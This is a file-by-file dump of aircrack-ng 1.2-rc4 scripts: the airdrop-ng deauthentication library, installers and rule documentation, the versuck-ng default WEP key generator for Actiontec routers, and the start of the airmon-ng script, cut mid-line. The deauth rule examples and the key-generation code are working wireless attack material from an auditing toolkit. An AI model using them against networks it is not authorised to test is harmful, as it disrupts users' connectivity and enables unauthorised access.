aircrack-ng-1.2-rc4/scripts/airdrop-ng/airdrop/__init__.py0000644000000000000000000000144311717043663022235 0ustar rootrootimport os, sys class bcolors: """ class for using colored text """ HEADER = '\033[95m' #pink OKBLUE = '\033[94m' #blue OKGREEN = '\033[92m' #green WARNING = '\033[93m' #yellow FAIL = '\033[91m' #red ENDC = '\033[0m' #white def disable(self): """ fucntion to disable colored text """ self.HEADER = '' self.OKBLUE = '' self.OKGREEN = '' self.WARNING = '' self.FAIL = '' self.ENDC = '' encoding = sys.getfilesystemencoding() if hasattr(sys, 'frozen'): install_dir = os.path.abspath(os.path.dirname(unicode(sys.executable, encoding))) install_dir = os.path.abspath(os.path.dirname(unicode(__file__, encoding))) try: os.mkdir(install_dir + "/support") except: pass aircrack-ng-1.2-rc4/scripts/airdrop-ng/airdrop/libOuiParse.py0000755000000000000000000001323412435470020022705 0ustar rootroot#!/usr/bin/env python __author__ = 'Ben "TheX1le" Smith, Marfi' __email__ = 'thex1le@gmail.com' __website__= '' __date__ = '09/19/09' __version__ = '2009.11.23' __file__ = 'ouiParse.py' __data__ = 'a class for dealing with the oui txt file' """ ######################################## # # This program and its support programs are free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation; version 2. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # ######################################### """ from airdrop import install_dir import re import urllib2 import urllib import sys import os class macOUI_lookup: """ A class for deaing with OUIs and deterimining device type """ def __init__(self,oui=None,GetFile=False): """ generate the two dictionaries and return them """ aircrackOUI = None self.OUI_PATH = ["/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt", "/usr/share/aircrack-ng/airodump-ng-oui.txt", "/var/lib/misc/oui.txt", "/usr/share/misc/oui.txt", "/var/lib/ieee-data/oui.txt", "/usr/share/ieee-data/oui.txt", "/etc/manuf/oui.txt", "/usr/share/wireshark/wireshark/manuf/oui.txt", "/usr/share/wireshark/manuf/oui.txt"] # append any oui paths provided by program using lib to list if oui != None: self.OUI_PATH.append(oui) for PATH in self.OUI_PATH: if os.path.isfile(PATH): aircrackOUI=PATH if aircrackOUI == None: # default aircrackOUI=self.OUI_PATH[1] #a poor fix where if we have no file it trys to download it self.ouiTxtUrl = "http://standards.ieee.org/regauth/oui/oui.txt" self.ouiUnPath = install_dir#path to oui.txt if module is installed self.ouiInPath = install_dir + '/support/' #path to oui.txt if module is not installed self.ouiTxt = aircrackOUI self.ouiRaw = self.ouiOpen() self.oui_company = self.ouiParse() #dict where oui's are the keys to company names self.company_oui = self.companyParse() #dict where company name is the key to oui's def compKeyChk(self,name): """ check for valid company name key """ compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): return True for key in self.company_oui.keys(): if compMatch.search(key) is not None: return True return False def ouiKeyChk(self,name): """ check for a valid oui prefix """ if self.oui_company.has_key(name): return True else: return False def lookup_OUI(self,mac): """ Lookup a oui and return the company name """ if self.ouiKeyChk(mac) is not False: return self.oui_company[mac][0] else: return False def lookup_company(self,companyLst): """ look up a company name and return their OUI's """ oui = [] if type(companyLst).__name__ == "list": for name in companyLst: compMatch = re.compile(name,re.I) if self.company_oui.has_key(name): oui.extend(self.company_oui[name]) else: for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) elif type(companyLst).__name__ == "str": if self.company_oui.has_key(companyLst): oui = self.company_oui[companyLst] else: compMatch = re.compile(companyLst,re.I) for key in self.company_oui: if compMatch.search(key) is not None: oui.extend(self.company_oui[key]) #return the oui for that key return oui def ouiOpen(self): """ open the file and read it in """ ouiFile = open(self.ouiTxt, "r") text = ouiFile.readlines() #text = ouiFile.read() return text def ouiParse(self): """ generate a oui to company lookup dict """ HexOui= {} Hex = re.compile('.*(hex).*') #matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION" ouiLines = self.ouiRaw for line in ouiLines: if Hex.search(line) != None: #return the matched text and build a list out of it lineList = Hex.search(line).group().replace("\t"," ").split(" ") #build a dict in the format of mac:company name HexOui[lineList[0].replace("-",":")] = [lineList[2]] return HexOui def companyParse(self): """ generate a company to oui lookup dict """ company_oui = {} for oui in self.oui_company: if company_oui.has_key(self.oui_company[oui][0]): company_oui[self.oui_company[oui][0]].append(oui) else: company_oui[self.oui_company[oui][0]] = [oui] return company_oui if __name__ == "__main__": import pdb # for testing x = macOUI_lookup() pdb.set_trace() aircrack-ng-1.2-rc4/scripts/airdrop-ng/old-installers/0000755000000000000000000000000012660222375021413 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airdrop-ng/old-installers/install.py0000755000000000000000000000726011717043663023446 0ustar rootroot#!/usr/bin/env python __version__ = "1.13.2010.21:00" __author__ = "Marfi" ''' This is the installer file for airdrop-ng. It first checks for different dependancies, such as make, svn, etc. ''' import os, sys from shutil import rmtree if os.geteuid() != 0: print "Installer must be root to run. \nPlease 'su' or 'sudo -i' and try again. \nExiting..." sys.exit(1) class checkDepend: def __init__ (self): clear = "\n" *100 print clear print "Checking for dependancies used by the installer..." self.a = 0 self.deps = ["make", "svn", "tar", "gcc"] for depends in self.deps: if (os.path.isfile("/usr/bin/" + depends) or os.path.isfile("/usr/sbin/" + depends) or os.path.isfile("/usr/local/bin/" + depends) or os.path.isfile("/usr/local/sbin/" + depends) or os.path.isfile ("/bin/" + depends) ) == True: pass else: self.a = 1 print depends + " not installed." if self.a == 0: print "All dependancies installed! Continuing...\n" print "#### NOTE: For Ubuntu based distro's, \npython2.6-dev must be installed. Please \nmake sure it is installed before continuing!\n" else: print "Please install dependancies. Exiting...\n\n" exit() class installAirdrop: def __init__(self): print "Welcome to the airdrop-ng installer!\nYou will be prompted for installing\nAirdrop-ng, lorcon, and pylorcon.\n" yno = raw_input ("Continue with installer? (y/n): ") if yno == "y": pass else: print "Fine, be that way. Exiting..." exit() yno = raw_input ("Install airdrop-ng? (y/n): ") if yno == "y": self.install() else: print "airdrop-ng not installed. Continuing..." pass def install(self): print "Build exist? " if os.path.isdir("build"): rmtree("build") # imported from shutil, or shutil.rmtree() print "File exists. Cleaning it..." os.mkdir ("build") else: os.mkdir ("build") print "Didn't exist. Creating..." # moves everything to build/. This is to keep everything clean, # and not clutter up the directory. os.system ("cp airdrop-ng build/ && cp -r lib build/ && cp docs/airdrop-ng.1 build/") print "Files copied. Now, moving to directory..." os.chdir ("build") if os.path.isdir("/usr/lib/airdrop-ng") == True: rmtree ("/usr/lib/airdrop-ng") print "Moving airdrop-ng to /usr/bin, lib to \n/usr/lib/airdrop-ng, and installing man pages..." os.system ("cp airdrop-ng /usr/bin/airdrop-ng && cp -r lib /usr/lib/airdrop-ng && cp airdrop-ng.1 /usr/share/man/man1/") #os.chdir ("..") print "airdrop-ng installed! =)" class installLorcon: def __init__(self): yno = raw_input ("Would you like to install lorcon? (y/n): ") if yno == "y": print "Running svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old. This may take a while..." os.system ("svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old") os.chdir("lorcon-old") os.system ("./configure && make && make install") print "Creating symlinks..." os.system ("ln -s /usr/local/lib/liborcon-1.0.0.so /usr/lib") os.chdir("..") else: print "Lorcon wasn't installed. " class installPylorcon: def __init__(self): yno = raw_input ("Would you like to install pylorcon? (y/n): ") if yno == "y": import urllib urllib.urlretrieve("http://pylorcon.googlecode.com/files/pylorcon-3.tar.bz2", "pylorcon-3.tar.bz2") os.system ("tar -xvf pylorcon-3.tar.bz2") os.chdir ("pylorcon") os.system ("python setup.py install") os.chdir("..") # What actually runs the classes checkDepend() installAirdrop() installLorcon() installPylorcon() yno = raw_input ("Clean up? (y/n): ") if yno == "y": os.chdir("..") if os.path.isdir("build") == True: rmtree("build") print "Operation(s) complete! May the source be with you. =) " sys.exit() aircrack-ng-1.2-rc4/scripts/airdrop-ng/old-installers/uninstall.py0000755000000000000000000000101511717043663024001 0ustar rootroot#!/usr/bin/env python __author__ = "Marfi" __version__ = "?" from os import system, geteuid from sys import exit if geteuid() != 0: print "airdrop-ng must be root. Please \n'su' or 'sudo -i' and run again. \nExiting..." exit(1) yno = raw_input ("You shouldn't need this. Remove? (y/n): ") if yno == "y": print "Removing man entry and airdrop-ng..." system ("sudo rm /usr/share/man/man1/airdrop-ng.1") system ("sudo rm /usr/bin/airdrop-ng") system ("sudo rm -r /usr/lib/airdrop-ng") else: print "Exiting..." exit() aircrack-ng-1.2-rc4/scripts/airdrop-ng/setup.py0000644000000000000000000000075011717043663020176 0ustar rootroot#!/usr/bin/env python # This file is Copyright David Francos Cuartero, licensed under the GPL2 license. from distutils.core import setup import os setup(name='airdrop-ng', version='1.1', description='Rule based Deauth Tool', author='TheX1le', console = [{"script": "airdrop-ng" }], url='http://aircrack-ng.org', license='GPL2', classifiers=[ 'Development Status :: 4 - Beta', ], packages=['airdrop'], scripts=['airdrop-ng'], ) aircrack-ng-1.2-rc4/scripts/airdrop-ng/Makefile0000644000000000000000000000060312434667717020132 0ustar rootrootAC_ROOT = ../.. DOCFILES = README include $(AC_ROOT)/common.mak default: all all: @echo "Nothing to do. Run make install" install: doc python setup.py install --prefix="$(prefix)" --record files.txt doc: $(MAKE) -C doc install uninstall: $(MAKE) -C doc $(@) cat files.txt | xargs rm -rf rm -f files.txt clean: python setup.py clean rm -rf build distclean: clean aircrack-ng-1.2-rc4/scripts/airdrop-ng/README0000644000000000000000000001232012026343556017336 0ustar rootroot _ _ _ _ ___ /_\ (_)_ __ __| |_ __ ___ _ __ /\ \ \/ _ \ //_\\| | '__/ _` | '__/ _ \| '_ \ _____ / \/ / /_\/ / _ \ | | | (_| | | | (_) | |_) |_____/ /\ / /_\\ \_/ \_/_|_| \__,_|_| \___/| .__/ \_\ \/\____/ |_| README Airdrop-ng is a rule based Deauth Tool Readme Written by Mubix & TheX1le ##################################################### # Dependencies and Installation # ##################################################### Requires python 2.7 for the installer to work, unless you edit it and remove the "--prefix " part. Dependencies: [*] lorcon [*] Pylorcon2 [*] A lorcon supported wireless card (mac80211 drivers) with monitor mode and injection ********************** * Installing lorcon * ********************** You can get lorcon source from: [*] git clone https://code.google.com/p/lorcon/ trunk Then you will have to compile it: [*] cd trunk && ./configure &&make && make install Next compile Pylorcon2 source [*] wget http://pylorcon2.googlecode.com/files/PyLorcon2-0.1.tar.gz Untar the file [*] tar -xvaf PyLorcon2-0.1.tar.gz Build and install the souce [*] cd PyLorcon2-0.1 && python setup.py install If pylorcon reports import errors you need to run the following command: [*] ln -s /usr/local/lib/liborcon-2.0.0.so /usr/lib This will create a symlink to the directory that pylorcon looks in for liborcon. If you are on ubuntu you will also need to install the python-dev package as they do not include the headers ##################################################### # Usage and Options # ##################################################### -t Airodump-ng CSV file location. It is highly recommended that you have Airodump-ng ACTIVELY RUNNING before and while you run Airdrop-ng. You should run Airodump-ng with the following options: # airodump-ng --write --output-format csv # EXAMPLE: airodump-ng wlan0 -w capture --output-format csv # this will write capture-01.csv to the current working directory -r Rule set config file location. docs/dropRules.conf.example contains several examples on how construct your rules please take a look at this file. The Rules are the core of what makes airdrop-ng so special and determine what clients get a kick and which ones are saved. Rules are run cascading order so make sure your allows are written before your denys. Adding a # to the front of a line comments out the line NOTE: The a/any|any rule... This rule currently causes the program to exit with a error message. This is by design as the tool allows by default. NOTE: By default if no rule exist for a client or ap airdrop-ng assumes that you wish to allow it. This can be changed by putting a d/any|any ##################################################### # Advanced Rule Writing # ##################################################### Rules based on OUI: Currently it only supports the company name or a single OUI, the format is as follows: Company name a or d /bssid or any|company name;company name; company name EXAMPLE: d/any|apple This example attacks only devices with OUI's matching "Apple" Notice the ; as a delimiter for company names this is because many company names contain comas. When writing rules make sure you check the oui.txt file in the support directory. There isn't a standard for company names. For example "Apple" has 11 unique names in the file. If you check the Apple.sample.txt file in the support directory you can see a list of each one of them. For all OUIs to be used you would need to write a rule that contained each company name. A newer and easier way is to use the built in regex function. Airdrop-ng will attempt to find all of company names for you a sample rule using this is: d/any|Sony Corporation or even better: d/any|sony The same can be done in the bssid field d/sony|any d/broadcom|apple The above example would kick any apple device off a broadcom radio AP The regular expression function is NOT case sensitive. This option while much faster only works well with companies that support proprietary hardware like Apple or Sony. This is not to say it wont work with others but it works best on proprietary hardware. Rules written in this manner will match all OUI's found for that company name Matching a single OUI Example: d/00:50:E4|any This rule will match any bssid that 00:50:E4 as an OUI and kick any clients attached to it The same can be done in the client field d/any|00:50:E4 Note: doing a single OUI will match only that OUI. Note: You can mix and match rule types IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 Or a/00:1B:63:00:60:C4|apple However it is not wise to try to mix and match rule types for example d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,sony this confuses the current parser and makes it unhappy You can complete the same thing with two rules IE d/apple|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A d/apple|sony Airdrop-ng works in a loop Each time the program finishes sending packets it re-parses the airodump file for changes as well as the rule file. This means that it possible to update rules while the program is running. Happy hacking! aircrack-ng-1.2-rc4/scripts/airdrop-ng/doc/0000755000000000000000000000000012660222375017224 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airdrop-ng/doc/Apple.sample.txt0000644000000000000000000000047211342020747022304 0ustar rootroot#direct string lookup #strings were grep'd from the oui Txt file Apple Computer Apple Computer Inc Apple Computer Inc. Apple Computer, Inc. Apple Inc Apple, Inc Apple, Inc. APPLE COMPUTER APPLE COMPUTER INC. APPLE COMPUTER, INC. APPLE, INC #regex lookup apple #this will return the same ouis as the strings above aircrack-ng-1.2-rc4/scripts/airdrop-ng/doc/dropRules.conf.example0000644000000000000000000000316511717044676023521 0ustar rootroot#[comments] #All lines in this file are commented out # The # symbol at the front of a line denotes a commented line #airdrop-ng.py rule configuration file #a is allow #d is deny #format is (a or d)/bssid|(any or client mac or list of client macs in format of mac1,mac2,mac3) #it is not wise to mix rule types for example #d/any|00:17:AB:5C:DE:3A,00:1B:63:00:60:C4,apple #While i may work i have no idea result it will have and at this time is not recomended #EX d/bssid|mac1,mac2 #note this is not a valid rule just shows format the / and | placement do matter #MORE EXAMPLE RULES #d/00:1F:90:CA:0B:74|00:18:41:75:8E:4B #deny rule with a single client #d/any|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #a deny rule for several clients on any AP #d/any|any #a global deny any any rule #A/00:17:3F:3A:F0:7E|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #an allow rule with multiple clients #D/00-1E-58-00-FF-5E|00:19:7E:9A:66:96 #another deny rule with a differnt mac format #d/12:02:DC:02:10:00|any #a bssid deny any client rule #a/any|any #a global allow, no idea why you would wanna use this ;) #oui examples #d/any|Apple, Inc;APPLE COMPUTER;APPLE COMPUTER, INC.;Apple Computer Inc.;APPLE COMPUTER INC.;APPLE, INC #d/any|apple #d/action|broadcom #kicks only broadcom devices off actiontech routers #d/00:1F:3C|any #kicks all clients that match that oui #d/action|00:1F:3C kick any clinets off an actiontec router that match the oui #d/action|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #kick the following clients off an any actiontech router #d/00:17:3F:3A:F0:7E|apple kick any apple device off that ap aircrack-ng-1.2-rc4/scripts/airdrop-ng/doc/airdrop-ng.10000644000000000000000000000360411410564270021346 0ustar rootroot.TH AIRDROP-NG 1 .SH NAME airdrop-ng - A rule based wireless deauth tool .SH SYNOPSIS .B airdrop-ng [-i -t -r ] -d -s -p -b -u .SH DESCRIPTION .BI airdrop-ng is a program used for targeted, rule-based deauthentication of users. It can target based on MAC address, type of hardware, (by using an OUI lookup, IE, "APPLE" devices) or completely deauthenticate ALL users. lorcon and pylorcon are used in the transmission of the deauth packets. .SH OPTIONS .TP .I -d , --driver Driver for injection. Supported drivers are: .br wlan-ng, hostap, airjack, prism54, madwifing, madwifiold, rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw, bcm43xx, mac80211 . The default is mac80211. .TP .I -i , --interface Interface of the card for injection. IE, -i mon0 .TP .I -l , --logging Enable logging to a file. If a file path is not provided, airdrop-ng will log to default location. .TP .I -r , --rule This is what seperates airdrop-ng from other deauthentication applications. You can specify what users you want to kick off, based on MAC address, OUI, or completely kick everyone off. Multiple rules can be set. See dropRules.conf in the testing/ directory, or the README included with the installer. .TP .I -s , --sleep Time to sleep before sending next set of packets. .TP .I -t , --dump Path to the txt file in .CSV format from airodump-ng .TP .I -u , --update Updates OUI list and to latest version of airdrop-ng. .SH AUTHOR The application airdrop-ng was written by TheX1le, and King_Tuna. .br This manual page was written by Ronnie Tokazowski for Linux. .br Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation .SH SEE ALSO .br .B lorcon(3) aircrack-ng-1.2-rc4/scripts/airdrop-ng/doc/Makefile0000644000000000000000000000072412434666665020704 0ustar rootrootAC_ROOT = ../../../ include $(AC_ROOT)/common.mak DOCFILES = Apple.sample.txt dropRules.conf.example default: all all: @echo "Nothing to do, run make install" uninstall: rm -f $(DESTDIR)$(docdir)/Apple.sample.txt $(DESTDIR)$(docdir)/dropRules.conf.example $(DESTDIR)$(mandir)/airdrop-ng.1 install: install -d $(DESTDIR)$(docdir) install -d $(DESTDIR)$(mandir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) install -m 644 airdrop-ng.1 $(DESTDIR)$(mandir) aircrack-ng-1.2-rc4/scripts/versuck-ng/0000755000000000000000000000000012660222375016501 5ustar rootrootaircrack-ng-1.2-rc4/scripts/versuck-ng/versuck-ng.10000644000000000000000000000140411405273510020637 0ustar rootroot.TH versuck-ng "June 2010" Linux "User Manual" .SH NAME versuck-ng - an actiontec router default wep key generator .SH SYNOPSIS versuck-ng [options] .SH DESCRIPITION .I versuck-ng's purpose is to calculate the default WEP key for verizon .I issued actiontec wireless routers. It does this using a list of .I known hardware IDs in the wired mac used by the router. .I Depending on the BSSID you can some times use it as well. .I The OUI needs to match on both the wireless and wired mac for use of .I the bssid to work. versuck-ng -m [the internal mac address] -e [the ESSID of the device] .SH OPTIONS .IP -h Shows the help screen. .IP -m The internal mac address of the device. .IP -e The ESSID that the device is using. aircrack-ng-1.2-rc4/scripts/versuck-ng/versuck-ng0000755000000000000000000000326311405272427020516 0ustar rootroot#!/usr/bin/env python __author__ = "TheX1le" __version__ = "10-15-2009.231841" """ Verizon Fios and actiontech in their wisdom decided that it would be a good idea to generate your 64 bit WEP key off the internal mac address of your router and some basic base 36 math. Sounds like a fine idea to me! """ import optparse, sys def createKey(essid,bssid): actionOUI = ['0020E0', '000FB3', '001801', '001F90', '0026B8', '00247B', '002662', '001505', '001EA7'] returndict = {} output = 0 #key decimal value multiplier = 1 #up by 36 each time #remove formating of bssid bssid = bssid.replace(":","").replace("-","") for char in essid.upper(): output += int(char,36)*multiplier multiplier = multiplier * 36 key = "%X" % output #convert dec to hex returndict["best"] = bssid[2:6]+key if bssid[2:6] in actionOUI: actionOUI.pop(bssid[2:6]) counter = 1 for oui in actionOUI: returndict["alt"+str(counter)] = oui[2:6]+key counter += 1 return returndict #return the key postions 34 and 56 of the bssid #are appended to the calulated key def banner(): print "\n"+"#"*16 print "#"+" "*2+"Versuck-ng"+" "*2+"#" print "#"*16 if __name__ == "__main__": parser = optparse.OptionParser("usage: %prog options -m -e") parser.add_option("-m", "--mac", dest="mac",nargs=1, help="Mac Address") parser.add_option("-e", "--essid", dest="essid",nargs=1, help="essid") if len(sys.argv) <= 1: banner() parser.print_help() sys.exit(0) (options, args) = parser.parse_args() data = createKey(options.essid,options.mac) print "Key is most likely" print data["best"] print "Key May also be one of these" for key in data.keys(): if key is not "best": print data[key] aircrack-ng-1.2-rc4/scripts/versuck-ng/Makefile0000644000000000000000000000130612434667717020155 0ustar rootrootAC_ROOT = ../.. include $(AC_ROOT)/common.mak SCRIPTS = versuck-ng DOCFILES = README MP_FILES = versuck-ng.1 default: all all: @echo "Nothing to do. Run make install" install: uninstall install -d $(DESTDIR)$(mandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) install -m 755 $(SCRIPTS) $(DESTDIR)$(bindir) uninstall: -rm -f $(DESTDIR)$(bindir)/versuck-ng -rm -f $(DESTDIR)$(docdir)/README @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: @echo Nothing to do. distclean: clean aircrack-ng-1.2-rc4/scripts/versuck-ng/README0000644000000000000000000000031411405272427017356 0ustar rootrootPlease read the tools manpage this can be done with the following command from the current directory man ./versuck-ng.1 Also please check out the tools help with ./versuck-ng -h Thank you -TheX1le aircrack-ng-1.2-rc4/scripts/airmon-ng0000644000000000000000000013027212652566275016247 0ustar rootroot#!/bin/sh DEBUG="0" VERBOSE="0" ELITE="0" USERID="" IFACE="" checkvm_status="" MAC80211=0 IW_SOURCE="https://www.kernel.org/pub/software/network/iw/iw-4.3.tar.gz" IW_ERROR="" if [ ! -d /sys/ ]; then printf "CONFIG_SYSFS is disabled in your kernel, this program will almost certainly not work.\n" fi if [ "${1}" = "--elite" ]; then shift ELITE="1" fi if [ "${1}" = "--verbose" ]; then shift VERBOSE="1" fi if [ "${1}" = "--debug" ]; then shift DEBUG="1" VERBOSE="1" fi #yes, I know this is in here twice if [ "${1}" = "--elite" ]; then shift ELITE="1" fi if [ -n "${3}" ];then if [ "${3}" -gt 0 ] > /dev/null 2>&1; then CH="${3}" else printf "\nYou have entered an invalid channel \"${3}\" which will be ignored\n" CH=3 fi else CH=10 fi #TODO LIST #cleanup getDriver() #fix to not assume wifi drivers are modules #rewrite to not have two devices at any one time if [ -n "$(command -v id 2> /dev/null)" ]; then USERID="$(id -u 2> /dev/null)" fi if [ -z "${USERID}" ] && [ -n "$(id -ru)" ]; then USERID="$(id -ru)" fi if [ -n "${USERID}" ] && [ "${USERID}" != "0" ]; then printf "Run it as root\n" ; exit 1; elif [ -z "${USERID}" ]; then printf "Unable to determine user id, permission errors may occur.\n" fi #check for all needed binaries if [ ! -x "$(command -v uname 2>&1)" ]; then printf "How in the world do you not have uname installed?\n" printf "Please select a linux distro which has at least basic functionality (or install uname).\n" exit 1 else OS=$(uname -s) #Recognized values are Linux and Darwin fi if [ ! -x "$(command -v ip 2>&1)" ] && [ ! -x "$(command -v ifconfig 2>&1)" ]; then printf "You have neither ip (iproute2) nor ifconfig installed.\n" printf "Please install one of them from your distro's package manager.\n" exit 1 fi if [ ! -x "$(command -v iw 2>&1)" ]; then printf "You don't have iw installed, please install it from your distro's package manager.\n" printf "If your distro doesn't have a recent version you can download it from this link:\n" printf "${IW_SOURCE}\n" exit 1 fi if [ ! -x "$(command -v ethtool 2>&1)" ]; then printf "Please install the ethtool package for your distro.\n" exit 1 fi if [ -d /sys/bus/usb ]; then if [ ! -x "$(command -v lsusb 2>&1)" ]; then printf "Please install lsusb from your distro's package manager.\n" exit 1 else LSUSB=1 fi else LSUSB=0 fi if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then if [ ! -x "$(command -v lspci 2>&1)" ]; then printf "Please install lspci from your distro's package manager.\n" exit 1 else LSPCI=1 fi else LSPCI=0 fi if [ -f /proc/modules ] || [ -d /sys/module ]; then if [ ! -x "$(command -v modprobe 2>&1)" ]; then printf "Your kernel has module support but you don't have modprobe installed.\n" printf "It is highly recommended to install modprobe (typically from kmod).\n" MODPROBE=0 else MODPROBE=1 fi if [ ! -x "$(command -v modinfo 2>&1)" ]; then printf "Your kernel has module support but you don't have modinfo installed.\n" printf "It is highly recommended to install modinfo (typically from kmod).\n" printf "Warning: driver detection without modinfo may yield inaccurate results.\n" MODINFO=0 else MODINFO=1 fi else MODINFO=0 fi if [ -c /dev/rfkill ]; then if [ ! -x "$(command -v rfkill 2>&1)" ];then printf "Your kernel supports rfkill but you don't have rfkill installed.\n" printf "To ensure devices are unblocked you must install rfkill.\n" RFKILL=0 else RFKILL=1 fi else RFKILL=0 fi if [ ! -x "$(command -v awk 2>&1)" ]; then printf "How in the world do you not have awk installed?\n" printf "Please select a linux distro which has at least basic functionality (or install awk).\n" exit 1 fi if [ ! -x "$(command -v grep 2>&1)" ]; then printf "How in the world do you not have grep installed?\n" printf "Please select a linux distro which has at least basic functionality (or install grep).\n" exit 1 fi #done checking for binaries usage() { printf "usage: $(basename $0) [channel or frequency]\n\n" exit 0 } handleLostPhys() { MISSING_INTERFACE="" for i in $(ls /sys/class/ieee80211/); do if [ ! -d /sys/class/ieee80211/${i}/device/net ]; then MISSING_INTERFACE="${i}" printf "\nFound ${MISSING_INTERFACE} with no interfaces assigned, would you like to assign one to it? [y/n] " yesorno retcode=$? if [ "${retcode}" = "1" ]; then printf "PHY ${MISSING_INTERFACE} will remain lost.\n" elif [ "${retcode}" = "0" ]; then PHYDEV=${MISSING_INTERFACE} findFreeInterface monitor fi fi done #add some spacing so this doesn't make the display hard to read printf "\n" } findFreeInterface() { if [ -z "${1}" ]; then printf "findFreeInterface needs a target mode.\n" exit 1 fi if [ "${1}" != "monitor" ] && [ "${1}" != "station" ]; then printf "findFreeInterface only supports monitor and station for target mode.\n" exit 1 fi target_mode="${1}" if [ "$target_mode" = "monitor" ]; then target_suffix="mon" target_type="803" else target_suffix="" target_type="1" fi for i in $(seq 0 100); do if [ "$i" = "100" ]; then printf "\n\tUnable to find a free name between wlan0 and wlan99, you are on your own from here.\n" return 1 fi if [ "$DEBUG" = "1" ]; then printf "\nChecking candidate wlan${i}\n" fi if [ ! -e /sys/class/net/wlan${i} ]; then if [ "$DEBUG" = "1" ]; then printf "\nCandidate wlan${i} is not in use\n" fi if [ ! -e /sys/class/net/wlan${i}mon ]; then if [ "$DEBUG" = "1" ]; then printf "\nCandidate wlan${i} and wlan${i}mon are both clear, creating wlan${i}${target_suffix}\n" fi IW_ERROR="$(iw phy ${PHYDEV} interface add wlan${i}${target_suffix} type ${target_mode} 2>&1)" if [ -z "${IW_ERROR}" ]; then if [ -d /sys/class/ieee80211/${PHYDEV}/device/net ]; then for j in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do if [ "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${j}/type)" = "${target_type}" ]; then #here is where we catch udev renaming our interface k=${j#wlan} i=${k%mon} fi done else printf "Unable to create wlan${i}${target_suffix} and no error recieved.\n" return 1 fi printf "\n\t\t(mac80211 ${target_mode} mode vif enabled on [${PHYDEV}]wlan${i}${target_suffix}\n" unset IW_ERROR break else printf "\n\n ERROR adding ${target_mode} mode interface: ${IW_ERROR}\n" break fi else if [ "$DEBUG" = "1" ]; then printf "\nCandidate wlan${i} does not exist, but wlan${i}mon does, skipping...\n" fi fi else if [ "$DEBUG" = "1" ]; then printf "\nCandidate wlan${i} is in use already.\n" fi fi done } rfkill_check() { #take phy and check blocks if [ "${RFKILL}" = 0 ]; then #immediatly return if rfkill isn't supported return 0 fi if [ -z "${1}" ]; then printf "Fatal, rfkill_check requires a phy to be passed in\n" exit 1 fi #first we have to find the rfkill index #this is available as /sys/class/net/wlan0/phy80211/rfkill## but that's a bit difficult to parse index="$(rfkill list | grep ${1} | awk -F: '{print $1}')" if [ -z "$index" ]; then return 187 fi rfkill_status="$(rfkill list ${index} 2>&1)" if [ $? != 0 ]; then printf "rfkill error: ${rfkill_status}\n" return 187 elif [ -z "${rfkill_status}" ]; then printf "rfkill had no output, something went wrong.\n" exit 1 else soft=$(printf "${rfkill_status}" | grep -i soft | awk '{print $3}') hard=$(printf "${rfkill_status}" | grep -i hard | awk '{print $3}') if [ "${soft}" = "yes" ] && [ "${hard}" = "no" ]; then return 1 elif [ "${soft}" = "no" ] && [ "${hard}" = "yes" ]; then return 2 elif [ "${soft}" = "yes" ] && [ "${hard}" = "yes" ]; then return 3 fi fi return 0 } rfkill_unblock() { #attempt unblock and CHECK SUCCESS if [ "${RFKILL}" = 0 ]; then #immediatly return if rfkill isn't supported return 0 fi rfkill_status="$(rfkill unblock ${1#phy} 2>&1)" if [ $? != 0 ]; then printf "rfkill error: ${rfkill_status}\n" printf "Unable to unblock.\n" return 1 else sleep 1 return 0 fi } setLink() { if [ -x "$(command -v ip 2>&1)" ]; then ip link set dev ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ip\n" elif [ -x "$(command -v ifconfig 2>&1)" ]; then ifconfig ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ifconfig\n" fi return } ifaceIsUp() { if [ -x "$(command -v ip 2>&1)" ]; then ifaceIsUpCmd="ip link show dev" elif [ -x "$(command -v ifconfig 2>&1)" ]; then ifaceIsUpCmd="ifconfig" fi if ${ifaceIsUpCmd} ${1} 2>&1 | grep -q UP then return else return 1 fi } #listIfaceUnspec() { # if [ -x "$(command -v ip 2>&1)" ]; then # ip link 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $2}' # elif [ -x "$(command -v ifconfig 2>&1)" ]; then # ifconfig -a 2>/dev/null | awk -F"[: ]+" '/UNSPEC/ {print $1}' # fi #} #startDeprecatedIface() { # iwconfig ${1} mode monitor > /dev/null 2>&1 # if [ -n "${2}" ]; then # if [ ${2} -lt 1000 ]; then # iwconfig ${1} channel ${2} > /dev/null 2>&1 # else # iwconfig ${1} freq ${2}000000 > /dev/null 2>&1 # fi # else # iwconfig ${1} channel ${CH} > /dev/null 2>&1 # fi # iwconfig ${1} key off > /dev/null 2>&1 # setLink 